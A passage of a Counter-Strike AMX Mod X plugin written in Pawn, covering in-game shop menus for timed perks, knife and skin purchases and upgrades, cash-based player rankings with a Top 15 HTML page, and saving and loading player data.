- set_task(10.0, "Task_RemoveNoclip", Client)
- ColorPrint( Client, "^1You bought ^3Noclip^1 for^4 10 seconds.")
- Menu_Shop( Client )
- Save( Client )
- return
- }
- }
- case 3: // Low Gravity
- {
- if( Player[ Client ][ PLAYER_CASH ] >= 3500 )
- {
- Player[ Client ][ PLAYER_CASH ] -= 3500
- set_user_gravity( Client , 0.4 )
- set_task( 20.0, "Task_RemoveGravity", Client )
- ColorPrint( Client, "^1You bought ^3low gravity^1 for^4 20 seconds")
- Menu_Shop( Client );
- Save( Client )
- return
- }
- }
- case 4: // Speed
- {
- if(Player[ Client ][ PLAYER_CASH ] >= 3500)
- {
- Player[ Client ][ PLAYER_CASH ] -= 3500
- set_user_maxspeed( Client, 300.0 )
- set_task( 20.0, "Task_RemoveSpeed", Client )
- ColorPrint( Client, "^1You bought ^3more speed^1 for^4 20 seconds")
- Menu_Shop( Client )
- Save( Client )
- return
- }
- }
- case 5: // Double Damage
- {
- if( Player[ Client ][ PLAYER_CASH ] >= 6000 )
- {
- Player[ Client ][ PLAYER_CASH ] -= 6000
- Player[ Client ][ PLAYER_DOUBLEDMG ] = 1
- ColorPrint( Client, "^1You bought ^3double damage^1 for^4 1 round")
- Menu_Shop( Client )
- Save( Client )
- return
- }
- }
- }
- ColorPrint( Client, "^1You dont got enough ^4money^1 for buying that.")
- Menu_Special( Client );
- }
- }
- public Menu_Knifes(id)
- {
- if ( gNoPasswordEntered )
- return PLUGIN_HANDLED;
- new strTemp[ 501 ], strKey[6]
- formatex(strTemp, charsmax( strTemp ), "\r[ \w%s \r] \yKnives\w Main Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ) )
- new menu = menu_create(strTemp, "Handler_Knifes")
- for(new i = 0; i < enumKnifes; i++)
- {
- if(g_PlayerKnives[id][i])
- formatex(strTemp, charsmax( strTemp ), "\w%s%s", Knife_Info[ i ][ INFOKNIFE_NANE ], playerUsingknife[id] == i ? " \y[Enabled]" : "")
- else
- formatex(strTemp, charsmax( strTemp ), "\d%s \r[ \w%i$\r ]", Knife_Info[ i ][ INFOKNIFE_NANE ], Knife_Info[ i ][ INFOKNIFE_PRICE ])
- num_to_str(i, strKey, 5)
- menu_additem(menu, strTemp, strKey)
- }
- menu_display(id, menu)
- return PLUGIN_HANDLED;
- }
- public Handler_Knifes(id, menu, item)
- {
- if(item == MENU_EXIT)
- {
- menu_destroy(menu)
- Menu_Shop(id)
- }
- else
- {
- Player[id][PLAYER_KNIFE] = MenuKey(menu, item)
- Menu_KnifeInfo(id)
- }
- }
- public Menu_KnifeDescrption(id)
- {
- if ( gNoPasswordEntered )
- return PLUGIN_HANDLED;
- new strTemp[ 256 ], iLen;
- iLen = formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\r[ \w%s \r] \yKnife \wDescription^n", GAMETYPE);
- iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i^n^n^n", Player[ id ][ PLAYER_CASH ], GetPosition( id ), ArraySize( g_SteamID ));
- iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\rKnife Information^n\w%s \y| \wPrice \w%i\r$", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_NANE ], Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_PRICE ]);
- new menu = menu_create( strTemp, "Handler_Menu_KnifeDescrption" )
- formatex( strTemp, charsmax( strTemp ), "\wHealth \y+\w%i", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_EXTRA_HEALTH ])
- menu_additem(menu, strTemp, "1", 0, menu_makecallback( "menuitem_callback" ))
- formatex( strTemp, charsmax( strTemp ), "\wArmor \y+\w%i", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_EXTRA_ARMOR ])
- menu_additem(menu, strTemp, "2", 0, menu_makecallback( "menuitem_callback" ))
- formatex( strTemp, charsmax( strTemp ), "\wCash per kill \y+\w%i\r$", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_EXTRA_CASH ])
- menu_additem(menu, strTemp, "3", 0, menu_makecallback( "menuitem_callback" ))
- formatex( strTemp, charsmax( strTemp ), "\wDamage \y+\w%i", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_EXTRA_DMG ])
- menu_additem(menu, strTemp, "4", 0, menu_makecallback( "menuitem_callback" ))
- formatex( strTemp, charsmax( strTemp ), "\wSlag \y+\w%i\r%%", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_SLAG ])
- menu_additem(menu, strTemp, "5", 0, menu_makecallback( "menuitem_callback" ))
- formatex( strTemp, charsmax( strTemp ), "\wLifeSteal \y+\w%i", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_LIFE_STEAL ])
- menu_additem(menu, strTemp, "6", 0, menu_makecallback( "menuitem_callback" ))
- menu_setprop( menu, MPROP_EXITNAME, "Back" );
- menu_display(id, menu)
- return PLUGIN_HANDLED;
- }
- public menuitem_callback( id, menu, item )
- {
- return ITEM_DISABLED;
- }
- public Handler_Menu_KnifeDescrption(id, menu, item)
- {
- if(item == MENU_EXIT)
- {
- menu_destroy(menu)
- Menu_KnifeInfo(id)
- }
- else
- {
- Menu_KnifeDescrption( id );
- }
- }
- public Menu_KnifeInfo(id)
- {
- new strTemp[501]
- formatex(strTemp, charsmax( strTemp ), "\r[ \w%s \r] \wKnife Information^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i^n^n^n\wKnife:\r %s^n\yPlayer Model \w[ %s \w]^n\ySound Effect \w[ %s \w]", GAMETYPE, Player[ id ][ PLAYER_CASH ], GetPosition( id ), ArraySize( g_SteamID ), Knife_Info[Player[id][PLAYER_KNIFE]][ INFOKNIFE_NANE ], Knife_Info[Player[id][PLAYER_KNIFE]][ INFOKNIFE_DESCRPTION ], Knife_Info[Player[id][PLAYER_KNIFE]][ INFOKNIFE_DESCRPTION2 ])
- new menu = menu_create(strTemp, "Handler_KnifeInfo")
- menu_additem(menu, "Knife Descrption", "1")
- menu_additem(menu, g_PlayerKnives[id][Player[id][PLAYER_KNIFE]] ? "\rEnabled" : "\wPurchase", "2")
- menu_display(id, menu)
- }
- public Handler_KnifeInfo(id, menu, item)
- {
- menu_destroy(menu)
- if(item == MENU_EXIT)
- {
- Menu_Shop(id)
- }
- else if( item == 0 )
- {
- Menu_KnifeDescrption(id)
- }
- else
- {
- if(g_PlayerKnives[id][Player[id][PLAYER_KNIFE]])
- {
- playerUsingknife[id] = Player[id][PLAYER_KNIFE]
- client_print(id, print_center, "You enabled %s", Knife_Info[ playerUsingknife[ id ] ][ INFOKNIFE_NANE ])
- ColorPrint( id, "^3You enabled ^4%s", Knife_Info[ playerUsingknife[ id ] ][ INFOKNIFE_NANE ])
- if(Skin_Info[ playerUsingSkin[ id ] ][ SKIN_KNIFE ] != -1 && playerUsingknife[ id ] != Skin_Info[ playerUsingSkin[ id ] ][ SKIN_KNIFE ] )
- {
- playerUsingSkin[ id ] = SKIN_PIRSONER;
- ColorPrint(id, "^1Skin ^4Automaticly^1 changed to ^3Prisoner Skin")
- cs_set_user_model( id, Skin_Names[ playerUsingSkin[ id ] ][ DETILS_DOWN ] );
- }
- user_update_knife(id)
- }
- else if(Player[id][PLAYER_KNIFE] && !g_PlayerKnives[id][Player[id][PLAYER_KNIFE]-1])
- {
- ColorPrint( id, "^1You first need to buy ^3%s^1 before you can buy ^4%s", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] - 1 ][ INFOKNIFE_NANE ], Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_NANE ] )
- }
- else if(Player[id][PLAYER_CASH] < Knife_Info[Player[id][PLAYER_KNIFE]][ INFOKNIFE_PRICE ])
- {
- ColorPrint( id, "^1You dont got enough^4 money^1 for buying^3 knife")
- }
- else
- {
- Player[id][PLAYER_CASH] -= Knife_Info[Player[id][PLAYER_KNIFE]][ INFOKNIFE_PRICE ]
- g_PlayerKnives[id][Player[id][PLAYER_KNIFE]] = 1
- playerUsingknife[id] = Player[id][PLAYER_KNIFE]
- ShopLog(id, "< Shop - Knife Shop>: %s (Left Cash %i)", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_NANE ], Player[ id ][ PLAYER_CASH ])
- ColorPrint( 0, "^4%s^1 bought the knife ^3%s", GetUserName( id ), Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_NANE ] );
- user_update_knife(id)
- }
- }
- }
- public Menu_Skins(id)
- {
- new strTemp[100], strKey[6], strKnife[ 64 ];
- formatex(strTemp, 99, "\r[ \w%s \r] \ySkins\w Main Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ) )
- new menu = menu_create(strTemp, "Handler_Skin")
- for(new i = 0; i < enumSkins; i++)
- {
- if( Skin_Info[ i ][ SKIN_KNIFE ] != -1 && !g_PlayerKnives[id][Skin_Info[ i ][ SKIN_KNIFE ]] )
- formatex( strKnife, charsmax( strKnife ), "\r[ \wLOCKED \r]");
- else
- formatex( strKnife, charsmax( strKnife ), "\d[ \yUNLOCKED \d]");
- if(g_PlayerSkins[id][i]
- || !i)
- formatex(strTemp, 99, "\w%s%s", Skin_Names[ i ][ DETILS_NAME ], playerUsingSkin[id] == i ? " \y[Enabled]" : "")
- else
- formatex(strTemp, 99, "\d%s %s", Skin_Names[ i ][ DETILS_NAME ], strKnife)
- num_to_str(i, strKey, 5)
- menu_additem(menu, strTemp, strKey)
- }
- menu_display(id, menu)
- }
- public Handler_Skin(id, menu, item)
- {
- if(item == MENU_EXIT)
- {
- menu_destroy(menu)
- Menu_Shop(id)
- }
- else
- {
- Player[id][PLAYER_SKIN] = MenuKey(menu, item)
- Menu_SkinInfo(id)
- }
- }
- public Menu_SkinInfo(id)
- {
- new strTemp[ 215 ], iLen;
- iLen = formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\r[ \w%s \r] \wSkin Information^n", GAMETYPE);
- iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i^n^n", Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ) );
- iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\wSkin:\r %s^n", Skin_Names[ Player[ id ][ PLAYER_SKIN ] ][ DETILS_NAME ] );
- iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\d%s^n", Skin_Names[ Player[ id ][ PLAYER_SKIN ] ][ DETILS_INFO ] );
- new menu = menu_create(strTemp, "Handler_SkinInfo")
- menu_additem( menu, "\wSkin Descrption", "1" );
- if( g_PlayerSkins[id][Player[id][PLAYER_SKIN]] )
- formatex( strTemp, charsmax( strTemp ), "Enable");
- else
- formatex( strTemp, charsmax( strTemp ), "%s", GetReason( id, Player[id][PLAYER_SKIN] ));
- menu_additem(menu, strTemp, "2", 0, menu_makecallback( "menuitem_callbackc" ))
- menu_additem(menu, "\wUpgrade Skin !", "3", 0, menu_makecallback( "menuitem_callbackcc" ));
- menu_display(id, menu)
- }
- public Handler_SkinInfo(id, menu, item)
- {
- menu_destroy(menu)
- if(item == MENU_EXIT)
- {
- Menu_Skins(id)
- }
- switch( item )
- {
- case 0: Menu_SkinDescrption( id );
- case 1:
- {
- if(g_PlayerSkins[id][Player[id][PLAYER_SKIN]] || !Player[id][PLAYER_SKIN])
- {
- if(Skin_Info[Player[id][PLAYER_SKIN]][ SKIN_KNIFE ] != -1 && playerUsingknife[ id ] != Skin_Info[ Player[ id ][ PLAYER_SKIN ] ][ SKIN_KNIFE ] )
- {
- ColorPrint(id, "You cant use ^4%s^1 if u dont currctly use^3 %s Knife", Skin_Names[ Player[id][PLAYER_SKIN] ][ DETILS_NAME ], Knife_Info[ Skin_Info[ Player[ id ][ PLAYER_SKIN ] ][ SKIN_KNIFE ] ][ INFOKNIFE_NANE ])
- Menu_Skins( id );
- return PLUGIN_HANDLED
- }
- playerUsingSkin[id] = Player[ id ][ PLAYER_SKIN ];
- ColorPrint( id, "^1You^4 enabled^3 %s", Skin_Names[playerUsingSkin[id]])
- }
- else if( Skin_Info[Player[id][PLAYER_SKIN]][ SKIN_KNIFE ] != -1 && !g_PlayerKnives[id][Skin_Info[Player[id][PLAYER_SKIN]][ SKIN_KNIFE ]] )
- {
- ColorPrint( id, "^1You first need to buy^4 %s Knife^1 before you can buy the^3 skin", Knife_Info[ Skin_Info[ Player[ id ][ PLAYER_SKIN ] ][ SKIN_KNIFE ] ][ INFOKNIFE_NANE ])
- }
- else
- {
- if(!CheckSkin(id, Player[id][PLAYER_SKIN]))
- {
- ColorPrint( id, "^1You dont got enough^3 Craft^1 -^4 Items^1 for craft that.")
- Menu_Skins(id)
- return PLUGIN_HANDLED
- }
- else
- {
- for(new i = 0; i < enumMeatlts; i++)
- mPlayer[id][i] -= Skin_InfoMealts[ Player[id][PLAYER_SKIN] ][ i ]
- g_PlayerSkins[id][Player[id][PLAYER_SKIN]] = 1
- playerUsingSkin[id] = Player[ id ][ PLAYER_SKIN ];
- ColorPrint( 0, "^4%s^1 crafted the skin ^3%s", GetUserName( id ), Skin_Names[ Player[ id ][ PLAYER_SKIN ] ][ DETILS_NAME ] );
- cs_set_user_model(id, Skin_Names[ Player[ id ][ PLAYER_SKIN ] ][ DETILS_DOWN ])
- Save( id )
- }
- }
- }
- case 2:
- {
- Menu_SkinsPromote( id );
- }
- }
- return PLUGIN_HANDLED;
- }
- public Menu_SkinsPromote(id)
- {
- new strTemp[ 256 ], strKey[6], strKnife[ 64 ];
- formatex(strTemp, 255, "\r[ \w%s \r] \ySkin's\w Upgrade Menu^n\wCash: \w%i\r% \y| \wRank \y%i \dout of \r%i^n^n\w%s \rUpgrade:", GAMETYPE, Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ), Skin_Names[Player[id][PLAYER_SKIN]] )
- new menu = menu_create(strTemp, "Handler_Menu_SkinsPromote")
- for( new i = 0; i < enumSkinInfo - MAXUPGRADES; i++ )
- {
- num_to_str(i, strKey, 5)
- formatex( strKnife, charsmax( strKnife ), "\w%s", Upgrade_Names[ i ][ upgrName ]);
- menu_additem(menu, strKnife, strKey)
- }
- menu_display(id, menu)
- }
- public Handler_Menu_SkinsPromote(id, menu, item)
- {
- if(item == MENU_EXIT)
- {
- menu_destroy(menu)
- Menu_SkinInfo(id)
- }
- else
- {
- Player[ id ][ PLAYER_UPGRADE ] = MenuKey( menu, item );
- Menu_UpgradeDescrption( id );
- }
- }
- public menuitem_callbackcc( id, menu, item )
- {
- new playerChoosenSkin = Player[ id ][ PLAYER_SKIN ];
- if( !g_PlayerSkins[id][ playerChoosenSkin ] )
- {
- return ITEM_DISABLED;
- }
- return ITEM_IGNORE;
- }
- public menuitem_callbackc( id, menu, item )
- {
- if( !g_PlayerSkins[id][ Player[ id ][ PLAYER_SKIN ] ] )
- {
- if( Skin_Info[ item ][ SKIN_KNIFE ] != -1 && !g_PlayerKnives[id][Skin_Info[ item ][ SKIN_KNIFE ]] )
- {
- return ITEM_DISABLED;
- }
- else if(!CheckSkin(id, item))
- {
- return ITEM_DISABLED;
- }
- }
- return ITEM_IGNORE;
- }
- public Menu_UpgradeDescrption(id)
- {
- new strTemp[ 1024 ], strTemp2[ 128 ], strCost[ 64 ], iLen
- new playerChoosenSkin = Player[ id ][ PLAYER_SKIN ];
- new playerChoosenUpgrade = Player[ id ][ PLAYER_UPGRADE ];
- iLen = formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\r[ \w%s \r] \yUpgrade \wDescrption^n^n\wAvailable Tokens\d(\y%i\d)^n^n", GAMETYPE, Player[ id ][ PLAYER_TOKENS ]);
- iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\wName : \y%s^n", Upgrade_Names[ playerChoosenUpgrade ][ upgrName ] );
- iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\wDescrption^n\d%s^n^n", Upgrade_Names[ playerChoosenUpgrade ][ upgrInfo ] );
- iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\w%s \y+\w%i\r%s^n^n", Upgrade_Names[ playerChoosenUpgrade ][ upgrName ], GetUserUpgrades( id, playerChoosenSkin, playerChoosenUpgrade, 0 ), Upgrade_Names[ playerChoosenUpgrade ][ upgrSpeacil ] );
- iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\rNEXT LEVEL:^n^n\w%s \y+\w%i", Upgrade_Names[ playerChoosenUpgrade ][ upgrName ], GetUserUpgrades( id, playerChoosenSkin, playerChoosenUpgrade, 1 ), Upgrade_Names[ Player[ id ][ playerChoosenUpgrade ] ][ upgrSpeacil ] );
- iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "^n^n");
- new menu = menu_create( strTemp, "Handler_Menu_UpgradeDescrption" )
- if( g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ] >= 5 )
- formatex( strCost, charsmax( strCost ), "\r[ \dMAXED OUT \r]");
- else
- formatex( strCost, charsmax( strCost ), "\r[ \w%i Tokens \r]", Skin_Info[ playerChoosenSkin ][ SKIN_COSTS ] * (Upgrade_Names[ playerChoosenUpgrade ][ upgrAdd ] + g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ] ) );
- formatex( strTemp2, charsmax( strTemp2 ), "Purchase %s", strCost)
- menu_additem( menu, strTemp2)
- formatex( strTemp2, charsmax( strTemp2 ), "\r- \wCurrect Level: \d[ \y%i \d/ \r5 \d]^n", g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ]);
- menu_addtext( menu, strTemp2, 0);
- menu_setprop( menu, MPROP_EXITNAME, "Back" );
- menu_display(id, menu)
- }
- public menuitem_callbackbc( id, menu, item )
- {
- new playerChoosenSkin = Player[ id ][ PLAYER_SKIN ];
- new playerChoosenUpgrade = Player[ id ][ PLAYER_UPGRADE ];
- if( g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ] >= 5 )
- {
- return ITEM_DISABLED;
- }
- if( Player[ id ][ PLAYER_TOKENS ] < Skin_Info[ playerChoosenSkin ][ SKIN_COSTS ] * (Upgrade_Names[ playerChoosenUpgrade ][ upgrAdd ] + g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ]) )
- {
- return ITEM_DISABLED;
- }
- return ITEM_IGNORE;
- }
- public Handler_Menu_UpgradeDescrption(id, menu, item)
- {
- if(item == MENU_EXIT)
- {
- menu_destroy(menu)
- Menu_SkinsPromote(id)
- }
- else
- {
- new playerChoosenSkin = Player[ id ][ PLAYER_SKIN ];
- new playerChoosenUpgrade = Player[ id ][ PLAYER_UPGRADE ];
- new intCost = Skin_Info[ playerChoosenSkin ][ SKIN_COSTS ] * (Upgrade_Names[ playerChoosenUpgrade ][ upgrAdd ] + g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ]);
- if( g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ] >= 5 )
- {
- Menu_UpgradeDescrption( id );
- return PLUGIN_HANDLED
- }
- else if( Player[ id ][ PLAYER_TOKENS ] < intCost )
- {
- Menu_UpgradeDescrption( id );
- return PLUGIN_HANDLED
- }
- else
- {
- Player[ id ][ PLAYER_TOKENS ] -= intCost;
- g_PlayerUpgrade[ id ][ playerChoosenSkin ][ playerChoosenUpgrade ]++;
- ColorPrint( id, "^3Works +1 to somthnig");
- Save(id);
- Menu_UpgradeDescrption(id);
- }
- }
- return PLUGIN_HANDLED;
- }
- public Menu_SkinDescrption(id)
- {
- new strTemp[ 256 ], iLen, strKey[ 6 ];
- iLen = formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\r[ \w%s \r] \ySkin \wDescription^n", GAMETYPE);
- iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i^n^n^n", Player[ id ][ PLAYER_CASH ], GetPosition( id ), ArraySize( g_SteamID ));
- iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\rSkin Information^n\w%s \y| \wto Craft the Skin\d(\r%i\d)^n\wPage : \r", Skin_Names[ Player[ id ][ PLAYER_SKIN ] ], GetTotalPrice( Player[ id ][ PLAYER_SKIN ] ) );
- new menu = menu_create( strTemp, "Handler_Menu_SkinDescrption" )
- for(new i = 0; i < enumMeatlts; i++)
- {
- num_to_str(i, strKey, 5)
- formatex(strTemp, 99, "\w%s \d(\y%i\d) - \r%i", Meatls_Name[i], mPlayer[id][i], Skin_InfoMealts[ Player[ id ][ PLAYER_SKIN ] ][ i ])
- menu_additem(menu, strTemp, strKey, 0, menu_makecallback( "menuitem_callback" ))
- }
- menu_setprop( menu, MPROP_EXITNAME, "Exit" );
- menu_display(id, menu)
- }
- public Handler_Menu_SkinDescrption(id, menu, item)
- {
- if(item == MENU_EXIT)
- {
- menu_destroy(menu)
- Menu_SkinInfo(id)
- }
- else
- {
- Menu_SkinDescrption( id );
- }
- }
- public SayRank(Client)
- {
- new Position = GetPosition(Client)
- if(Position)
- ColorPrint(Client, "^1Your ^4rank ^1is ^3%d ^1of^3 %d", Position, ArraySize(g_SteamID), Player[ Client ][ PLAYER_CASH ])
- else
- ColorPrint(Client, "^3*^1 You are not^4 ranked.")
- }
- public SortTask()
- {
- if(g_Sort)
- {
- ArraySort(g_SteamID, "SortRanks")
- WriteTop15()
- SaveRanks()
- }
- }
- public SortRanks(Array:SteamID, Position1, Position2)
- {
- static SteamID1[32], SteamID2[32], Kills1, Kills2
- ArrayGetString(SteamID, Position1, SteamID1, 31)
- ArrayGetString(SteamID, Position2, SteamID2, 31)
- TrieGetCell(g_Kills, SteamID1, Kills1)
- TrieGetCell(g_Kills, SteamID2, Kills2)
- if(Kills1 < Kills2)
- return 1
- else if(Kills1 > Kills2 )
- return -1
- return 0
- }
- SaveRanks()
- {
- new File = fopen(g_File, "w+")
- if(!File) return
- for(new Position, Size = ArraySize(g_SteamID), SteamID[32], Name[32], Kills; Position < Size; Position++)
- {
- ArrayGetString(g_SteamID, Position, SteamID, 31)
- TrieGetString(g_Name, SteamID, Name, 31)
- TrieGetCell(g_Kills, SteamID, Kills)
- fprintf(File, "%s ^"%s^" %d^n", SteamID, Name, Kills)
- }
- fclose(File)
- }
- AddRank(Client)
- {
- g_Data[ Client ][ DATA_CASH ] = Player[ Client ][ PLAYER_CASH ];
- ArrayPushString( g_SteamID, g_Data[ Client ][ DATA_STEAMID ] )
- TrieSetString( g_Name, g_Data[ Client ][ DATA_STEAMID ], g_Data[ Client ][ DATA_NAME ] )
- }
- LoadData(Client)
- {
- TrieGetCell( g_Kills, g_Data[ Client ][ DATA_STEAMID ], Player[ Client ][ PLAYER_CASH ] )
- }
- UpdateRank( Client, bool:Name )
- {
- if( Name )
- TrieSetString( g_Name, g_Data[ Client ][ DATA_STEAMID ], g_Data[ Client ][ DATA_NAME ] )
- TrieSetCell( g_Kills, g_Data[ Client ][ DATA_STEAMID ], Player[ Client ][ PLAYER_CASH ])
- }
- GetPosition(Client)
- {
- static Position, Size, SteamID[32]
- for(Position = 0, Size = ArraySize(g_SteamID); Position < Size; Position++)
- {
- ArrayGetString(g_SteamID, Position, SteamID, 31)
- if(equal(SteamID, g_Data[Client][DATA_STEAMID]))
- return Position + 1
- }
- return 0
- }
- WriteTop15()
- {
- new iLen, szName[ 32 ], SteamID[ 35 ], Kills
- iLen = format(g_Top15, sizeof g_Top15 - 1,"<meta charset=UTF-8><style>body{background:#242424;margin:20px;font-family:Tahoma}th{background:#2F3034;color:#BDB670;text-align:center} table{padding:4px;background:#4A4945;font-size:10px;color:#FFF}img{height:12px;background:#99CC00;margin:0 3px}#r{height:12px;background:#999900}#clr{background:none;color:#FFF;font-size:20px}</style>");
- iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<body><center><table><tr align=center>" )
- iLen += formatex(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen, "<table cellpadding=1 cellspacing=1 border=0><th width=1%%><align=left font color=white> %s <th width=5%%> %-22.22s <th width=5%%> %s", "#", "Name", "Cash")
- for(new Position = 0, Size = min(ArraySize(g_SteamID), 15); Position < Size; Position++)
- {
- ArrayGetString(g_SteamID, Position, SteamID, 31)
- TrieGetString(g_Name, SteamID, szName, 31)
- TrieGetCell(g_Kills, SteamID, Kills)
- iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<tr align=left><td>%d</td><td>%s</td><td>%i</td>", Position + 1, szName, Kills);
- }
- }
- public SayTop15( Client )
- {
- new iLen, szName[ 32 ], SteamID[ 35 ], Kills
- iLen = format(g_Top15, sizeof g_Top15 - 1,"<meta charset=UTF-8><style>body{background:#242424;margin:20px;font-family:Tahoma}th{background:#2F3034;color:#BDB670;text-align:center} table{padding:4px;background:#4A4945;font-size:10px;color:#FFF}img{height:12px;background:#99CC00;margin:0 3px}#r{height:12px;background:#999900}#clr{background:none;color:#FFF;font-size:20px}</style>");
- iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<body><center><table><tr align=center>" )
- iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<tr align=center><th><h1>#15 Top Players (CASH)<tr align=center>" )
- iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<tr align=center><th><h3>Name: %s<tr align=center>", GetUserName( Client ))
- iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<tr align=center><th><h3>Steam: %s<tr align=center>", GetUserAuthid( Client ) )
- iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<tr align=center><th><h3>Note: Top cash may take a few moments to update.<tr align=center></table>" )
- iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<br><br>" )
- iLen += formatex(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen, "<table cellpadding=1 cellspacing=1 border=0><th width=1%%><align=left font color=white> %s <th width=5%%> %-22.22s <th width=5%%> %s", "#", "Name", "Cash")
- for(new Position = 0, Size = min(ArraySize(g_SteamID), 15); Position < Size; Position++)
- {
- ArrayGetString(g_SteamID, Position, SteamID, 31)
- TrieGetString(g_Name, SteamID, szName, 31)
- TrieGetCell(g_Kills, SteamID, Kills)
- iLen += format(g_Top15[iLen], (sizeof g_Top15 - 1) - iLen,"<tr align=left><td>%d</td><td>%s</td><td>%i</td>", Position + 1, szName, Kills);
- }
- show_motd( Client, g_Top15, "Top 15 Players" );
- }
- /* Shop:
- - Tasks
- */
- public Task_RemoveGodmode(id)
- if(is_user_connected(id))
- set_user_godmode(id, 0)
- public Task_RemoveNoclip(id)
- if(is_user_connected(id))
- set_user_noclip(id, 0)
- public Task_RemoveGravity(id)
- if(is_user_connected(id))
- set_user_gravity(id, 1.0)
- public Task_RemoveSpeed(id)
- if(is_user_connected(id))
- set_user_maxspeed(id)
- /* Shop:
- - nVault
- */
- public client_disconnect(id)
- {
- Player[ id ][ PLAYER_PAYCHECK ] = Player[ id ][ PLAYER_PAYCHECK ] + ( get_user_time( id ) / 60 );
- Save( id )
- }
- public client_authorized(id)
- {
- Load(id)
- LoadNames( id );
- get_user_authid(id, g_Data[ id ][ DATA_STEAMID ], 34)
- get_user_name(id, g_Data[ id ][ DATA_NAME ], 20)
- if( !TrieKeyExists( g_Name, g_Data[ id ][ DATA_STEAMID ] ) )
- AddRank(id)
- else
- LoadData(id)
- UpdateRank( id, true )
- ColorPrint( 0 , "^3%s^1 has connected to the server.^4 %i^1 Cash ,^3 %s^1 Knife,^3 %s^1 Skin, Rank^3 %i^1 out of^4 %i", Player[ id ][ PLAYER_CASH ], Knife_Info[ playerUsingknife[ id ] ][ INFOKNIFE_NANE ], Skin_Names[ playerUsingSkin[ id ] ][ DETILS_NAME ], GetPosition( id ), ArraySize( g_SteamID ) );
- }
- public Save(id)
- {
- SaveUser( id );
- new strName[35]
- get_user_authid(id, strName, 34)
- static data[ 256 ];
- new len;
- len += formatex( data[ len ], sizeof( data ) - len - 1, "%i", Player[id][PLAYER_CASH]); // Cash
- len += formatex( data[ len ], sizeof( data ) - len - 1, " %i", playerUsingknife[id])
- len += formatex( data[ len ], sizeof( data ) - len - 1, " %i", playerUsingSkin[id])
- for(new i = 0; i < enumKnifes; i++)
- len += formatex( data[ len ], sizeof( data ) - len - 1, " %i", g_PlayerKnives[id][i]);
- for(new i = 0; i < enumSkins; i++)
- {
- len += formatex( data[ len ], sizeof( data ) - len - 1, " %i", g_PlayerSkins[id][i]);
- for( new j = 0; j < enumSkinInfo - MAXUPGRADES; j++ )
- len += formatex( data[ len ], sizeof( data ) - len - 1, " %i", g_PlayerUpgrade[id][i][j]);
- }
- len += formatex( data[ len ], sizeof( data ) - len - 1, " %i", Player[id][PLAYER_TOKENS]);
- UpdateRank(id, true);
- SaveNames( id );
- fvault_set_data(Vault, strName, data)
- }
- public Load(id)
- {
- LoadUser( id );
- new strName[35]
- get_user_authid(id, strName, 34)
- static data[ 256 ]
- if( fvault_get_data( Vault, strName, data, sizeof( data ) - 1) )
- {
